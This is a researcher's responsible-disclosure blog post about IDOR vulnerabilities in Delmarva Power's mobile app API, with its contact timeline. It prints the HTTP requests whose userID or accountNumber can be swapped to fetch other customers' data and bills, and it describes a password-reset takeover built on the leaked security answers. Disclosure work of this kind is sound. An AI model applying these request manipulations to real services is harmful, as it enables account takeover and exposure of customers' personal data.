I’ve been a long time customer of Delmarva Power, but only recently learned they had an Android App. I decided to install it and see how it worked behind the scenes. I quickly realized their API suffered from multiple IDORs, allowing an attacker to a completely takeover any user’s account.
As usual, I monitored the requests in the App by performing a MITM attack against myself. After logging in, a user is brought to their account summary.
User information is populated in the app upon logging in with this request:
POST https://phimobile.ifactorenergy.com/services/retrieveUserInformation HTTP/1.1 Content-Length: 500 Content-Type: application/x-www-form-urlencoded Host: phimobile.ifactorenergy.com Connection: Keep-Alive userID=rwestergren05&emailAddress=&deviceID=***REMOVED***&authKey=***REMOVED***&sessionCookie=***REMOVED***&brand=DPL&source=IFACTOR
Note the direct reference to a username, despite having a session cookie included in the request. Changing my userID
in the request to a family member’s, I confirmed the response would return the information of any user. Again, the authKey
and sessionCookie
were almost useless since the request was fetching information based on the provided userID
parameter. Below is an example response:
{ "GetUserInformationResult": { "SystemResults": { "Code": "11163", "Status": "Warning", "Message": "WARNING: All Energy Account indicated an exception or warning.", "Timing": "" }, "RequestUserID": "rwestergren05", "RequestEMailAddress": "", "User": { "UserID": "RWESTERGREN05", "EMailAddress": "***REMOVED***", "SecurityImageFileName": "***REMOVED***", "InStormMode": "False", "SecurityQandAs": { "SecurityQandA": [ { "Question": "City (town, village) where you were born?", "Answer": "***REMOVED***" }, { "Question": "Make (Chevrolet, Ford, etc.) of your first car?", "Answer": "***REMOVED***" }, { "Question": "Name of your first pet?", "Answer": "***REMOVED***" } ] }, "UserControlFlags": { "ControlFlag": [ { "FlagName": "RouteByPasswordReset", "FlagValue": "False" }, { "FlagName": "RouteBySurvey", "FlagValue": "False" }, { "FlagName": "RouteBySecurity", "FlagValue": "False" }, { "FlagName": "RouteByGreenbill", "FlagValue": "False" }, { "FlagName": "EMailVerified", "FlagValue": "True" } ] }, "EnergyAccountInformationReplys": { "GetEnergyAccountInformationReply": { "SystemResults": { "Code": "11052", "Status": "Warning", "Message": "WARNING: Unable to obtain PLC information.", "Timing": "" }, "RequestUserID": "RWESTERGREN05", "RequestEnergyAccountNumber": "***REMOVED***", "EnergyAccount": { "AccountNumber": "***REMOVED***", "LandingPage": "STANDARD01", "Nickname": "Home", "InternalName": "RANDY A WESTERGREN", "Address": "***REMOVED***", "City": "***REMOVED***", "State": "DE", "ZipCode": "***REMOVED***", "Brand": "DPL", "AccountStatusDate": "12/09/2014", "AccountBalance": "0.00", "LastPaymentAmount": "***REMOVED***", "LastPaymentDate": "***REMOVED***", "BillSummaryEndDate": "***REMOVED***", "RemainingBalance": "0.00", "TotalCurrentCharges": "***REMOVED***", "AccountDueDate": "***REMOVED***", "AccountDueAmount": "***REMOVED***", "CurrentKWH": "0", "LastYearKWH": "0", "DynamicPricing": "FALSE", "ElectricService": "FALSE", "GasService": "TRUE", "NextReadDate": "***REMOVED***", "AllowTroubleOrders": "TRUE", "EnergyAccountControlFlags": { "ControlFlag": [ { "FlagName": "FlagAutopay", "FlagValue": "False" }, { "FlagName": "FlagAMI", "FlagValue": "Active" }, { "FlagName": "FlagDirectDebit", "FlagValue": "False" }, { "FlagName": "FlagPaperless", "FlagValue": "True" }, { "FlagName": "FlagCashOnly", "FlagValue": "False" }, { "FlagName": "FlagEDI", "FlagValue": "Unknown" } ] } } } } } } }
Lots of personal information is returned, including security questions with their corresponding answers. Using this information, an attacker could have easily reset any user’s password and gained complete control over their account. As serious as this simple vulnerability was, I suspected that resetting a user’s password would not be required for an attacker to perform other operations. Fetching a PDF bill for another user was just as simple, only requiring an attacker to change the accountNumber
:
POST https://phimobile.ifactorenergy.com/services/retrieveBillPDF HTTP/1.1 Content-Length: 1532 Content-Type: application/x-www-form-urlencoded Host: phimobile.ifactorenergy.com Connection: Keep-Alive accountNumber=***REMOVED***&documentUrl=***REMOVED***&brand=DPL&source=IFACTOR
Of course, most of the information in the bill was already available in the original retrieveUserInformation
request, but this confirmed my suspicion that other endpoints were vulnerable to the same attack vector.
There was also a request to retrieveLastPaymentProfile
, but the response was empty for my account. It seems payment accounts on the app are independent of the Delmarva Power web application. Though I had a feeling this request was also vulnerable, I didn’t confirm it. If an attacker wanted to access payment information, the previously mentioned attack vector would have worked, i.e. resetting a user’s password by using the security questions/answers, logging into the web payment site, and viewing the saved payment information (though partially obfuscated) of the customer.
I saved my example web requests and set out to contact Pepco to get these vulnerabilities patched. Getting in touch with someone in information security at Pepco was one of the most difficult experiences I have had in reaching out to company security teams. After a couple months of trying customer service, Twitter, emailing [email protected] (didn’t exist), LinkedIn contacts, and direct email addresses for security folks, I ended up calling their corporate office directly and leaving a message for the Chief Information Security Officer. My call was returned promptly and we discussed my security concerns. After sending the example web requests above, Pepco quickly acknowledged the vulnerabilities and immediately worked to get them resolved.
Disclosure Timeline
2014-11-12: Initial email to customer service requesting info sec contact
2014-11-13: Attempt contact via Twitter
2014-11-14: No response, another follow-up with customer service
2014-11-19: Forward examples and description to customer service
2014-11-21: Receive update that the issue is being evaluated
2014-12-05: Follow up again with customer service
2014-12-05: Response: “Our team is reviewing the information”
2015-01-06: Send follow up again, attempt LinkedIn/direct email outreach
2015-01-08: Call corporate office, leave VM for CISO
2015-01-08: Receive return call, discuss concerns, exchange email addresses
2015-01-08: Send examples and detailed vuln description again
2015-01-12: Response: “forwarded on … for immediate action”
2015-01-14: Send follow up email
2015-01-14: Response: Still validating vulnerabilities on their end
2015-01-16: Acknowledgement, vendor is addressing the vulnerabilities
2015-01-21: Response that fixes are being deployed, ETA “couple of days”
2015-01-24: Test and confirm reported vulnerabilities are patched
I learned a good lesson here and probably should have picked up the phone a lot sooner. It seems after getting in touch with the right person, Pepco took the vulnerabilities very seriously. Given the number of possible vulnerable endpoints in their API, they were able to move on this quickly and properly secure their web services.
After the fixes were released, Pepco requested a follow up conference call with me, which included a number of their technical team members. They were interested in learning how I discovered the vulnerabilities and communicated their deep appreciation of how I reported my findings — even sending me a gift card and letter to thank me once more.
Share this:

